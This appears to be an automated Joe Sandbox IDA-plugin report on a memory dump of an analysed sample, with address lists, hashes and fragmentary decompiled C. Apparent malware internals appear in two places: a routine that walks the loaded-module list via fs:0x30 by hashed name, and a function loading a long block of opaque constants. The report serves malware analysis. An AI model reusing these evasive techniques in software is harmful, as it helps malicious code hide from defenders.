0x00505cd1
0x00505cd4
0x00505cdc
0x00505cdf
0x00505ce2
0x00505ce5
0x00506575
0x00506575
0x0050657c
0x00000000
0x00505ceb
0x00505ceb
0x00505cee
0x00505cf1
0x00505cf6
0x00505cf7
0x00000000
0x00505cf7
0x00505ca7
0x00505ca7
0x00505ca7
0x00505ca7
0x00505caa
0x00000000
0x00000000
0x00505cb0
0x00505cb5
0x00505cb7
0x00505cb8
0x00505cba
0x00505cbd
0x00505cc0
0x00505cc3
0x00505cc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00505cc6
0x0050656a
0x0050656a
0x00000000
0x0050656a
0x00505ca5
0x00000000
0x00505ca0
0x00000000
0x00505c96
0x00505bc7
0x00505bc7
0x00505bc7
0x00505bc7
0x00505bca
0x00000000
0x00000000
0x00505bd0
0x00505bd5
0x00505bd7
0x00505bda
0x00505bdc
0x00505bdf
0x00505be2
0x00505be5
0x00505be8
0x00505bea
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00505bea
0x00506549
0x00506549
0x00000000
0x00506549
0x00505bc5
0x00505b7e
0x00505b7e
0x00505b7e
0x00505b7e
0x00505b81
0x00000000
0x00000000
0x00505b87
0x00505b8c
0x00505b8e
0x00505b8f
0x00505b91
0x00505b94
0x00505b97
0x00505b9a
0x00505b9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00505b9d
0x0050653e
0x0050653e
0x00000000
0x0050653e
0x00000000
0x00505b7c
0x005065c1
0x005065c3
0x005065c6
0x005065c8
0x005065f2
0x005065f2
0x005065f7
0x005065fa
0x005065fc
0x005065fe
0x00506601
0x00506603
0x00506605
0x00506605
0x00506605
0x00506608
0x00000000
0x00000000
0x0050660a
0x0050660a
0x0050660b
0x0050660e
0x00506610
0x00000000
0x00000000
0x00000000
0x00506610
0x00506605
0x00506612
0x00506617
0x00506617
0x0050661b
0x0050661e
0x00506621
0x00506624
0x00506626
0x00506629
0x0050662d
0x00506630
0x00506634
0x00506752
0x00506752
0x00506752
0x00506754
0x00000000
0x0050663a
0x0050663a
0x0050663a
0x00506703
0x00506703
0x00506703
0x00506706
0x00506709
0x00000000
0x00000000
0x0050670b
0x0050670b
0x0050670d
0x0050671a
0x0050671a
0x0050671d
0x00506720
0x005066e7
0x005066e7
0x005066ed
0x005066ed
0x005066f0
0x00000000
0x00506722
0x00506722
0x005066ca
0x005066ca
0x005066ca
0x005066cd
0x00000000
0x00000000
0x005066cf
0x005066d4
0x005066d6
0x005066d9
0x005066db
0x005066dc
0x005066df
0x005066e2
0x00000000
0x005066e4
0x005066e4
0x005066e4
0x00000000
0x005066e4
0x00000000
0x005066e2
0x0050672c
0x0050672c
0x00000000
0x0050672c
0x0050670f
0x0050670f
0x0050670f
0x00506712
0x00506724
0x00506724
0x00000000
0x00506714
0x00506714
0x00506714
0x00506717
0x005066f3
0x005066f3
0x005066fc
0x005066ff
0x005066ff
0x00506700
0x00000000
0x00506700
0x00506712
0x00000000
0x0050670d
0x00000000
0x00506703
0x005065d0
0x00000000
0x005065d0
0x005065d0
0x005065d0
0x005065d3
0x00000000
0x00000000
0x005065d9
0x005065e0
0x005065e3
0x005065e5
0x005065e8
0x005065eb
0x005065ee
0x005065f0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x005065f0
0x005066c2
0x005066c2
0x00000000
0x005066c2
0x005065c8
0x00505995
0x00505995
0x00505995
0x00505998
0x0050599a
0x0050599e
0x005059a0
0x005059a3
0x005059a6
0x005059ae
0x005059b3
0x005059b6
0x005059b6
0x005059b9
0x005059b9
0x005059c3
0x005059cb
0x005059ce
0x005059d0
0x005059d9
0x005059d9
0x005059de
0x005059df
0x005059e0
0x005059e1
0x005059e1
0x005059e5
0x005059e7
0x005059ed
0x005059f5
0x005059f5
0x005059f9
0x005059fc
0x005059d2
0x005059d2
0x005059d4
0x005059d4
0x005059ff
0x005059ff
0x00505a02
0x00505a04
0x00505a09
0x00505a0c
0x00505a0e
0x00505a11
0x00505a17
0x00505b57
0x00505b57
0x00505b57
0x00505b57
0x00000000
0x00505a1d
0x00505a1d
0x00505a1d
0x00505a20
0x00505a26
0x005058f8
0x005058f8
0x005058fb
0x005058fd
0x00505900
0x00000000
0x00000000
0x00000000
0x00505900
0x005058f8
0x00505a17
0x0050598f
0x00000000
0x00505a2e
0x00505a2e
0x00505a31
0x00505ae3
0x00505aea
0x00505af2
0x00505af5
0x00505af7
0x00505b08
0x00505b08
0x00505b0d
0x00505b0e
0x00505b0f
0x00505b10
0x00505b10
0x00505b14
0x00505b16
0x00505b1a
0x00505b1c
0x00505b24
0x00505b24
0x00505b28
0x00505b2b
0x00505af9
0x00505af9
0x00505afb
0x00505afe
0x00505b03
0x00505b03
0x00505b2e
0x00505b2e
0x00505b30
0x00505b32
0x00505b35
0x00505b38
0x00505b3e
0x00000000
0x00505b40
0x00505b40
0x00505b40
0x00505b43
0x00505b46
0x0050652c
0x0050652c
0x00506533
0x00000000
0x00505b4c
0x00505b4c
0x00505b4c
0x00505b4f
0x00000000
0x00505b4f
0x00505b46
0x00505a37
0x00505a37
0x00505a37
0x00505a3a
0x00505abf
0x00505abf
0x00505ac6
0x00505ac9
0x00505ace
0x00505ad4
0x00505ad7
0x00505ada
0x00505ada
0x00505add
0x00000000
0x00505a40
0x00505a40
0x00505a40
0x00505a42
0x00505a47
0x00505a4f
0x00505a51
0x00505a64
0x00505a64
0x00505a67
0x00000000
0x00505a69
0x00505a69
0x00505a6e
0x00505a71
0x00505a71
0x00505a7f
0x00505a8a
0x00505a8b
0x00505a8e
0x00505a90
0x00000000
0x00000000
0x00505a92
0x00505a92
0x00505a95
0x00505a97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00505a97
0x00000000
0x00505a71
0x00505a53
0x00505a53
0x00505a53
0x00505a56
0x00505a58
0x00505a99
0x00505a99
0x00505a9c
0x00505a9c
0x00505a9f
0x00506521
0x00506521
0x00000000
0x00000000
0x00000000
0x00000000
0x00505a5a
0x00505a5a
0x00505a5a
0x00505a5c
0x00505ae0
0x00505ae0
0x00000000
0x00505a62
0x00505a62
0x00000000
0x00505a62
0x00505a5c
0x00505a58
0x00000000
0x00505aa5
0x00505aa8
0x00505aaa
0x00505aac
0x00505aad
0x00505aaf
0x00505ab2
0x00505ab5
0x00505ab8
0x00505ab8
0x00000000
0x00505abd
0x00505a3a
0x00000000
0x00505a31
0x005058f8
0x005066b4
0x005066b4
0x005066b4
0x005066b7
0x0050675a
0x0050675a
0x00000000
0x0050675a
0x00505780
0x00505780
0x00505782
0x005057a7
0x005057ac
0x005057b1
0x005057b3
0x005057b5
0x005057b8
0x005057bb
0x00000000
0x00505784
0x00000000
0x00505784
0x00505792
0x00505794
0x00505795
0x00505798
0x0050579a
0x0050579d
0x005057a0
0x005057a5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x005057a5
0x0050664c
0x00506732
0x00506732
0x0050673b
0x00506740
0x00506740
0x00506743
0x00506746
0x00506749
0x0050674b
0x0050674b
0x0050674e
0x00506750
0x0050675d
0x0050675d
0x00506760
0x00506762
0x00506764
0x00506764
0x00506764
0x00506767
0x00000000
0x00000000
0x00506769
0x00506769
0x0050676a
0x0050676d
0x0050676f
0x00000000
0x00000000
0x00000000
0x0050676f
0x00506764
0x00506762
0x0050674e
0x00506749
0x00505782
0x00000000
0x00505736
0x00505736
0x0050573b
0x0050573c
0x0050573d
0x00505740
0x00505740
0x00505744
0x00505746
0x0050574c
0x00505754
0x00505754
0x00505758
0x0050575b
0x0050575e
0x00000000
0x0050575e
0x00505714
0x00506771
0x00506771
0x00506774
0x00506776
0x0050677b
0x0050677e
0x00506781
0x00506784
0x00506786
0x00506789
0x00506793
0x0050679e
0x005067a1
0x005067a5
0x005067ab
0x005067b1
0x005067b7
0x005067ba
0x005067bd
0x005067c2
0x005067c5
0x005067c7
0x005067cd
0x005067cd
0x005067cf
0x005067d5
0x005067d5
0x005067df
0x005067e5
0x005067ee
0x005067f1
0x005067f4
0x005067f6
0x005067fa
0x005067fd
0x00506803
0x00506803
0x00506805
0x00506805
0x00506805
0x00506807
0x0050680a
0x0050680d
0x00506813
0x00506813
0x00506818
0x00506819
0x0050681a
0x0050681b
0x0050681b
0x0050681b
0x00506820
0x00506820
0x00506823
0x00506826
0x00506831
0x0050683c
0x00506847
0x00506852
0x0050685d
0x00506868
0x00506873
0x00506878
0x0050687b
0x0050687d
0x00506882
0x00506884
0x00506884
0x00506889
0x0050688c
0x0050688c
0x0050688f
0x0050688f
0x00506891
0x00506894
0x00506896
0x00506898
0x0050689c
0x0050689f
0x005068a1
0x005068a1
0x005068a6
0x005068ae
0x005068b2
0x005068b2
0x005068b6
0x005068c0
0x005068c0
0x005068c3
0x005068c5
0x005068c9
0x005068cb
0x005068ce
0x005068d0
0x005068d2
0x005068d2
0x005068d2
0x005068d5
0x005068d8
0x005068db
0x005068de
0x005068e1
0x005068e1
0x005068e4
0x005068e4
0x005068e6
0x005068e8
0x005068ee
0x005068f0
0x005068f2
0x005068f2
0x005068f3
0x005068f3
0x005068f6
0x005068f9
0x005068fb
0x005068fb
0x005068fb
0x005068fd
0x00506902
0x0050690d
0x00506919
0x0050691f
0x00506921
0x00506921
0x00506921
0x00506924
0x00506929
0x0050692c
0x0050692c
0x00506935
0x0050693a
0x0050693a
0x0050693b
0x0050693e
0x00506940
0x00506943
0x00506945
0x00506947
0x0050694b
0x0050694d
0x00506955
0x00506955
0x00506955
0x0050694b
0x00506945
0x005067cf
0x00506958
0x00506960
0x00000000
0x00506960
0x00506657
0x00506657
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb5abe592baf030cd2e3466518fb04acd52f2d3ca9cd586574e6604faf180d1f
Instruction ID: 921c2034d9e3197fe298041ae8b1534a0de085c11342d40e79e7c2599012ee41
Opcode Fuzzy Hash: bb5abe592baf030cd2e3466518fb04acd52f2d3ca9cd586574e6604faf180d1f
Instruction Fuzzy Hash: 64129071E0062ADBCF18CF69C8902BEBFB1FF55300F24456AD856A7785E6349A41DF90

Uniqueness

Uniqueness Score: 0.00%

Function 00501530, Relevance: .0, Instructions: 19
COMMON

C-Code - Quality: 94%

			E00501530(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t3;
				void* _t5;
				intOrPtr* _t10;
				intOrPtr* _t12;

				_t3 =  *[fs:0x30];
				_t5 = __ecx;
				_t10 =  *((intOrPtr*)(_t3 + 0xc)) + 0xc;
				_t12 =  *_t10;
				if(_t12 == _t10) {
					L3:
					goto 0x520211;
					return _t3;
				} else {
					while(1) {
						_t3 = E005013A0( *((intOrPtr*)(_t12 + 0x30)));
						if(_t3 == _t5) {
							break;
						}
						_t12 =  *_t12;
						if(_t12 != _t10) {
							continue;
						} else {
							goto L3;
						}
						goto L5;
					}
					goto 0x520224;
					asm("int3");
					return _t3;
				}
				L5:
			}

0x00501530
0x0050153c
0x0050153e
0x00501541
0x00501545
0x00501559
0x00501559
0x0050155e
0x00501547
0x00501547
0x0050154a
0x00501551
0x00000000
0x00000000
0x00501553
0x00501557
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00501557
0x0050155f
0x00501564
0x00501565
0x00501565
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb3b20853c12e01583646f0bc9b5b796af15d36b12eeb5013d60b718caa977e6
Instruction ID: a8fe6e1b160c5fea069738f4b967d29d89d099173440746cdc77cd3c3998f0b3
Opcode Fuzzy Hash: fb3b20853c12e01583646f0bc9b5b796af15d36b12eeb5013d60b718caa977e6
Instruction Fuzzy Hash: 97E0C232501820CBC7319A48CC8496DFBAAFFC57A036A081AE85A6B682C334BC008A46

Uniqueness

Uniqueness Score: 0.00%

Function 005021B0, Relevance: .0, Instructions: 3COMMON

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b478bd1af69a2275d0ab39f1ac079ffe73a0c4551ec61df12d917ad4ecd62f
Instruction ID: dd1ea78877d89c8c1f21003391c56dd86dd10fe21c56db2a52adb93900471d7c
Opcode Fuzzy Hash: 98b478bd1af69a2275d0ab39f1ac079ffe73a0c4551ec61df12d917ad4ecd62f
Instruction Fuzzy Hash: 8EA00275752980CFCE12CB09C394F9073F4F744B41F0504F1E80997A11C238A900CA00

Uniqueness

Uniqueness Score: 0.00%

Function 00506E3A, Relevance: 49.4, APIs: 1, Strings: 27, Instructions: 447
libraryUNIQUE

C-Code - Quality: 99%

			E00506E3A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t431;
				intOrPtr _t434;
				void* _t441;

				_t431 = __ebx;
				 *((intOrPtr*)(_t441 - 0x6a4)) = 0x15c250b;
				 *((intOrPtr*)(_t441 - 0x6a0)) = 0x3c051136;
				 *((intOrPtr*)(_t441 - 0x69c)) = 0xd3ade4a7;
				 *((intOrPtr*)(_t441 - 0x698)) = 0x23973baa;
				 *((intOrPtr*)(_t441 - 0x694)) = 0x8feb665e;
				 *((intOrPtr*)(_t441 - 0x690)) = 0xf45a03e8;
				 *((intOrPtr*)(_t441 - 0x68c)) = 0xa9d84069;
				 *((intOrPtr*)(_t441 - 0x688)) = 0x519e252e;
				 *((intOrPtr*)(_t441 - 0x684)) = 0x72492224;
				 *((intOrPtr*)(_t441 - 0x680)) = 0xb176f537;
				 *((intOrPtr*)(_t441 - 0x67c)) = 0x6df80dbd;
				 *((intOrPtr*)(_t441 - 0x678)) = 0x8d44ae7c;
				 *((intOrPtr*)(_t441 - 0x674)) = 0x82735d85;
				 *((intOrPtr*)(_t441 - 0x670)) = 0x81110df8;
				 *((intOrPtr*)(_t441 - 0x66c)) = 0x488c56e3;
				 *((intOrPtr*)(_t441 - 0x668)) = 0x52b634b4;
				 *((intOrPtr*)(_t441 - 0x664)) = 0x5bcccbc7;
				 *((intOrPtr*)(_t441 - 0x660)) = 0x6ce1ad93;
				 *((intOrPtr*)(_t441 - 0x65c)) = 0x18270280;
				 *((intOrPtr*)(_t441 - 0x658)) = 0x7d120895;
				 *((intOrPtr*)(_t441 - 0x654)) = 0x7701c908;
				 *((intOrPtr*)(_t441 - 0x650)) = 0xebb622a7;
				 *((intOrPtr*)(_t441 - 0x64c)) = 0xfdbe9ca9;
				 *((intOrPtr*)(_t441 - 0x648)) = 0xe60fd890;
				 *((intOrPtr*)(_t441 - 0x644)) = 0xb6543cc6;
				 *((intOrPtr*)(_t441 - 0x640)) = 0xe5169853;
				 *((intOrPtr*)(_t441 - 0x63c)) = 0x7d4787a;
				 *((intOrPtr*)(_t441 - 0x638)) = 0xa0c30ed4;
				 *((intOrPtr*)(_t441 - 0x634)) = 0xfd3621c5;
				 *((intOrPtr*)(_t441 - 0x630)) = 0x294d912;
				 *((intOrPtr*)(_t441 - 0x62c)) = 0x7b912c78;
				 *((intOrPtr*)(_t441 - 0x628)) = 0xaa9dcd8b;
				 *((intOrPtr*)(_t441 - 0x624)) = 0x3ee2b3a;
				 *((intOrPtr*)(_t441 - 0x620)) = 0x3764e3bc;
				 *((intOrPtr*)(_t441 - 0x61c)) = 0xfe482db4;
				 *((intOrPtr*)(_t441 - 0x618)) = 0x2912578c;
				 *((intOrPtr*)(_t441 - 0x614)) = 0x4209f774;
				 *((intOrPtr*)(_t441 - 0x610)) = 0x93d3b108;
				 *((intOrPtr*)(_t441 - 0x60c)) = 0x98fb9689;
				 *((intOrPtr*)(_t441 - 0x608)) = 0xcb37421f;
				 *((intOrPtr*)(_t441 - 0x604)) = 0x3f52b2bc;
				 *((intOrPtr*)(_t441 - 0x600)) = 0xdea254cc;
				 *((intOrPtr*)(_t441 - 0x5fc)) = 0x429953b4;
				 *((intOrPtr*)(_t441 - 0x5f8)) = 0x2ee21470;
				 *((intOrPtr*)(_t441 - 0x5f4)) = 0x177f19c5;
				 *((intOrPtr*)(_t441 - 0x5f0)) = 0x80f61f63;
				 *((intOrPtr*)(_t441 - 0x5ec)) = 0x462bf458;
				 *((intOrPtr*)(_t441 - 0x5e8)) = 0xafb7c123;
				 *((intOrPtr*)(_t441 - 0x5e4)) = 0xa6c57ec9;
				 *((intOrPtr*)(_t441 - 0x5e0)) = 0x69f2f53a;
				 *((intOrPtr*)(_t441 - 0x5dc)) = 0x89111520;
				 *((intOrPtr*)(_t441 - 0x5d8)) = 0xa5bd2416;
				 *((intOrPtr*)(_t441 - 0x5d4)) = 0x730f6b51;
				 *((intOrPtr*)(_t441 - 0x5d0)) = 0x91fc1fe;
				 *((intOrPtr*)(_t441 - 0x5cc)) = 0xa095249b;
				 *((intOrPtr*)(_t441 - 0x5c8)) = 0xaac500fa;
				 *((intOrPtr*)(_t441 - 0x5c4)) = 0x47184814;
				 *((intOrPtr*)(_t441 - 0x5c0)) = 0x8d98e306;
				 *((intOrPtr*)(_t441 - 0x5bc)) = 0x6303b070;
				 *((intOrPtr*)(_t441 - 0x5b8)) = 0xb2cb8926;
				 *((intOrPtr*)(_t441 - 0x5b4)) = 0x85f57f16;
				 *((intOrPtr*)(_t441 - 0x5b0)) = 0x27d13708;
				 *((intOrPtr*)(_t441 - 0x5ac)) = 0x8b71895e;
				 *((intOrPtr*)(_t441 - 0x5a8)) = 0x3bae59ec;
				 *((intOrPtr*)(_t441 - 0x5a4)) = 0xfb0bdb1b;
				 *((intOrPtr*)(_t441 - 0x5a0)) = 0xa72b3f9e;
				 *((intOrPtr*)(_t441 - 0x59c)) = 0x4daea654;
				 *((intOrPtr*)(_t441 - 0x598)) = 0x92e30cf7;
				 *((intOrPtr*)(_t441 - 0x594)) = 0x3656c7cc;
				 *((intOrPtr*)(_t441 - 0x590)) = 0x6e0670d7;
				 *((intOrPtr*)(_t441 - 0x58c)) = 0x3d4218ce;
				 *((intOrPtr*)(_t441 - 0x588)) = 0x3f25b269;
				 *((intOrPtr*)(_t441 - 0x584)) = 0x111c0e8b;
				 *((intOrPtr*)(_t441 - 0x580)) = 0xccb99784;
				 *((intOrPtr*)(_t441 - 0x57c)) = 0x55446dd6;
				 *((intOrPtr*)(_t441 - 0x578)) = 0x2d43ed57;
				 *((intOrPtr*)(_t441 - 0x574)) = 0xb9f97f69;
				 *((intOrPtr*)(_t441 - 0x570)) = 0xe0a7aeb7;
				 *((intOrPtr*)(_t441 - 0x56c)) = 0x11d06808;
				 *((intOrPtr*)(_t441 - 0x568)) = 0xcf8cc1d;
				 *((intOrPtr*)(_t441 - 0x564)) = 0x1dfbe416;
				 *((intOrPtr*)(_t441 - 0x560)) = 0xf4cf041b;
				 *((intOrPtr*)(_t441 - 0x55c)) = 0xc783c534;
				 *((intOrPtr*)(_t441 - 0x558)) = 0xead2883b;
				 *((intOrPtr*)(_t441 - 0x554)) = 0x88a0b7a1;
				 *((intOrPtr*)(_t441 - 0x550)) = 0x73666ab3;
				 *((intOrPtr*)(_t441 - 0x54c)) = 0x5a6299ec;
				 *((intOrPtr*)(_t441 - 0x548)) = 0xa86132fa;
				 *((intOrPtr*)(_t441 - 0x544)) = 0xe49feb6b;
				 *((intOrPtr*)(_t441 - 0x540)) = 0x34b60a2;
				 *((intOrPtr*)(_t441 - 0x53c)) = 0x82a46e1e;
				 *((intOrPtr*)(_t441 - 0x538)) = 0x41a9fe0;
				 *((intOrPtr*)(_t441 - 0x534)) = 0x64a5543b;
				 *((intOrPtr*)(_t441 - 0x530)) = 0x9a83613f;
				 *((intOrPtr*)(_t441 - 0x52c)) = 0x52f7e03a;
				 *((intOrPtr*)(_t441 - 0x528)) = 0xd78a5f3f;
				 *((intOrPtr*)(_t441 - 0x524)) = 0xfb683151;
				 *((intOrPtr*)(_t441 - 0x520)) = 0xa4c56b7a;
				 *((intOrPtr*)(_t441 - 0x51c)) = 0x96027acc;
				 *((intOrPtr*)(_t441 - 0x518)) = 0x39116e70;
				 *((intOrPtr*)(_t441 - 0x514)) = 0x80234d3a;
				 *((intOrPtr*)(_t441 - 0x510)) = 0x1cf1656b;
				 *((intOrPtr*)(_t441 - 0x50c)) = 0xd9e5d77f;
				 *((intOrPtr*)(_t441 - 0x508)) = 0xee2d6b36;
				 *((intOrPtr*)(_t441 - 0x504)) = 0x81fc3f80;
				 *((intOrPtr*)(_t441 - 0x500)) = 0xf4dee0de;
				 *((intOrPtr*)(_t441 - 0x4fc)) = 0x83802837;
				 *((intOrPtr*)(_t441 - 0x4f8)) = 0xb2f1e084;
				 *((intOrPtr*)(_t441 - 0x4f4)) = 0xb36cbe34;
				 *((intOrPtr*)(_t441 - 0x4f0)) = 0xf0e0bf95;
				 *((intOrPtr*)(_t441 - 0x4ec)) = 0xe0a285cd;
				 *((intOrPtr*)(_t441 - 0x4e8)) = 0xfcc82be4;
				 *((intOrPtr*)(_t441 - 0x4e4)) = 0xe76dfedb;
				 *((intOrPtr*)(_t441 - 0x4e0)) = 0x97265281;
				 *((intOrPtr*)(_t441 - 0x4dc)) = 0xd95d1b17;
				 *((intOrPtr*)(_t441 - 0x4d8)) = 0x389b7bda;
				 *((intOrPtr*)(_t441 - 0x4d4)) = 0x71cdd7c5;
				 *((intOrPtr*)(_t441 - 0x4d0)) = 0x8c5f31f3;
				 *((intOrPtr*)(_t441 - 0x4cc)) = 0xe7d5da16;
				 *((intOrPtr*)(_t441 - 0x4c8)) = 0x7914131d;
				 *((intOrPtr*)(_t441 - 0x4c4)) = 0x155a36fc;
				 *((intOrPtr*)(_t441 - 0x4c0)) = 0xa7e50a64;
				 *((intOrPtr*)(_t441 - 0x4bc)) = 0x690dad47;
				 *((intOrPtr*)(_t441 - 0x4b8)) = 0xa3007a7e;
				 *((intOrPtr*)(_t441 - 0x4b4)) = 0xe02e00fa;
				 *((intOrPtr*)(_t441 - 0x4b0)) = 0x329eeddf;
				 *((intOrPtr*)(_t441 - 0x4ac)) = 0xae353d2;
				 *((intOrPtr*)(_t441 - 0x4a8)) = 0x166413b8;
				 *((intOrPtr*)(_t441 - 0x4a4)) = 0x8918e5f3;
				 *((intOrPtr*)(_t441 - 0x4a0)) = 0xea795530;
				 *((intOrPtr*)(_t441 - 0x49c)) = 0xe9d8e700;
				 *((intOrPtr*)(_t441 - 0x498)) = 0xd532f147;
				 *((intOrPtr*)(_t441 - 0x494)) = 0x3ffdd03;
				 *((intOrPtr*)(_t441 - 0x490)) = 0x32771615;
				 *((intOrPtr*)(_t441 - 0x48c)) = 0xce59f5c6;
				 *((intOrPtr*)(_t441 - 0x488)) = 0xa48bbf89;
				 *((intOrPtr*)(_t441 - 0x484)) = 0xfc7f7c88;
				 *((intOrPtr*)(_t441 - 0x480)) = 0x747b861b;
				 *((intOrPtr*)(_t441 - 0x47c)) = 0x556e714e;
				 *((intOrPtr*)(_t441 - 0x478)) = 0xc64df43f;
				 *((intOrPtr*)(_t441 - 0x474)) = 0xb5d56d35;
				 *((intOrPtr*)(_t441 - 0x470)) = 0x34f4b205;
				 *((intOrPtr*)(_t441 - 0x46c)) = 0x46ecf5fd;
				 *((intOrPtr*)(_t441 - 0x468)) = 0xec83a30;
				 *((intOrPtr*)(_t441 - 0x464)) = 0x39ec0be6;
				 *((intOrPtr*)(_t441 - 0x460)) = 0x73daf6cc;
				 *((intOrPtr*)(_t441 - 0x45c)) = 0x650c09d7;
				 *((intOrPtr*)(_t441 - 0x458)) = 0xa55b36db;
				 *((intOrPtr*)(_t441 - 0x454)) = 0xd4c5ed39;
				 *((intOrPtr*)(_t441 - 0x450)) = 0xc23b43e0;
				 *((intOrPtr*)(_t441 - 0x44c)) = 0xaa7296c8;
				 *((intOrPtr*)(_t441 - 0x448)) = 0x30e16744;
				 *((intOrPtr*)(_t441 - 0x444)) = 0x59f6bbc7;
				 *((intOrPtr*)(_t441 - 0x440)) = 0x5d1e980c;
				 *((intOrPtr*)(_t441 - 0x43c)) = 0x148c3302;
				 *((intOrPtr*)(_t441 - 0x438)) = 0x7d01d553;
				 *((intOrPtr*)(_t441 - 0x434)) = 0x2fd00b4;
				 *((intOrPtr*)(_t441 - 0x430)) = 0xc91e8228;
				 *((intOrPtr*)(_t441 - 0x42c)) = 0x8b96aadc;
				 *((intOrPtr*)(_t441 - 0x428)) = 0x6d842be5;
				 *((intOrPtr*)(_t441 - 0x424)) = 0x38dcf886;
				 *((intOrPtr*)(_t441 - 0x420)) = 0x4fb6e3ba;
				 *((intOrPtr*)(_t441 - 0x41c)) = 0xf5a78b8c;
				 *((intOrPtr*)(_t441 - 0x418)) = 0x181817bd;
				 *((intOrPtr*)(_t441 - 0x414)) = 0x2ad8dc2e;
				 *((intOrPtr*)(_t441 - 0x410)) = 0x56b7f942;
				 *((intOrPtr*)(_t441 - 0x40c)) = 0x25c2e735;
				 *((intOrPtr*)(_t441 - 0x408)) = 0x4284b5df;
				 *((intOrPtr*)(_t441 - 0x404)) = 0x2a3f0eb;
				 *((intOrPtr*)(_t441 - 0x400)) = 0x2e4ec9c6;
				 *((intOrPtr*)(_t441 - 0x3fc)) = 0x2fe478b9;
				 *((intOrPtr*)(_t441 - 0x3f8)) = 0x629fd88d;
				 *((intOrPtr*)(_t441 - 0x3f4)) = 0x1f9257a7;
				 *((intOrPtr*)(_t441 - 0x3f0)) = 0xdecf0136;
				 *((intOrPtr*)(_t441 - 0x3ec)) = 0x6a9988fb;
				 *((intOrPtr*)(_t441 - 0x3e8)) = 0x88e47ad9;
				 *((intOrPtr*)(_t441 - 0x3e4)) = 0x5fb1ef1c;
				 *((intOrPtr*)(_t441 - 0x3e0)) = 0x1e944d38;
				 *((intOrPtr*)(_t441 - 0x3dc)) = 0x9d0644ae;
				 *((intOrPtr*)(_t441 - 0x3d8)) = 0xc4d99227;
				 *((intOrPtr*)(_t441 - 0x3d4)) = 0xd96a9d5a;
				 *((intOrPtr*)(_t441 - 0x3d0)) = 0x147f5485;
				 *((intOrPtr*)(_t441 - 0x3cc)) = 0xd52820a8;
				 *((intOrPtr*)(_t441 - 0x3c8)) = 0xb62d1425;
				 *((intOrPtr*)(_t441 - 0x3c4)) = 0x668d0e0d;
				 *((intOrPtr*)(_t441 - 0x3c0)) = 0x70490096;
				 *((intOrPtr*)(_t441 - 0x3bc)) = 0xdb4659a0;
				 *((intOrPtr*)(_t441 - 0x3b8)) = 0xc9608808;
				 *((intOrPtr*)(_t441 - 0x3b4)) = 0x31192940;
				 *((intOrPtr*)(_t441 - 0x3b0)) = 0xc97b64d9;
				 *((intOrPtr*)(_t441 - 0x3ac)) = 0x36c82388;
				 *((intOrPtr*)(_t441 - 0x3a8)) = 0xa387d3a7;
				 *((intOrPtr*)(_t441 - 0x3a4)) = 0x30ab71f2;
				 *((intOrPtr*)(_t441 - 0x3a0)) = 0x81cbd4d2;
				 *((intOrPtr*)(_t441 - 0x39c)) = 0x757cf98c;
				 *((intOrPtr*)(_t441 - 0x398)) = 0xabe4a1a4;
				 *((intOrPtr*)(_t441 - 0x394)) = 0x4448a644;
				 *((intOrPtr*)(_t441 - 0x390)) = 0x79ac04a0;
				 *((intOrPtr*)(_t441 - 0x38c)) = 0x3546bc37;
				 *((intOrPtr*)(_t441 - 0x388)) = 0xf8f9e886;
				 *((intOrPtr*)(_t441 - 0x384)) = 0x95e56c0e;
				 *((intOrPtr*)(_t441 - 0x380)) = 0x7b204792;
				 *((intOrPtr*)(_t441 - 0x37c)) = 0x61d2873a;
				 *((intOrPtr*)(_t441 - 0x378)) = 0x47d2910a;
				 *((intOrPtr*)(_t441 - 0x374)) = 0x132b14f;
				 *((intOrPtr*)(_t441 - 0x370)) = 0x5c1120be;
				 *((intOrPtr*)(_t441 - 0x36c)) = 0xc732fa7f;
				 *((intOrPtr*)(_t441 - 0x368)) = 0x4f3f0754;
				 *((intOrPtr*)(_t441 - 0x364)) = 0x84ed6131;
				 *((intOrPtr*)(_t441 - 0x360)) = 0x7357ee35;
				 *((intOrPtr*)(_t441 - 0x35c)) = 0xee76964a;
				 *((intOrPtr*)(_t441 - 0x358)) = 0x8d5f7cc1;
				 *((intOrPtr*)(_t441 - 0x354)) = 0x286d6c64;
				 *((intOrPtr*)(_t441 - 0x350)) = 0x5b402a70;
				 *((intOrPtr*)(_t441 - 0x34c)) = 0x58d080a8;
				 *((intOrPtr*)(_t441 - 0x348)) = 0xe25a1201;
				 *((intOrPtr*)(_t441 - 0x344)) = 0x652bbebd;
				 *((intOrPtr*)(_t441 - 0x340)) = 0xd305a56f;
				 *((intOrPtr*)(_t441 - 0x33c)) = 0xa7b65d99;
				 *((intOrPtr*)(_t441 - 0x338)) = 0x66acb832;
				 *((intOrPtr*)(_t441 - 0x334)) = 0x165938f2;
				 *((intOrPtr*)(_t441 - 0x330)) = 0x1ecb512f;
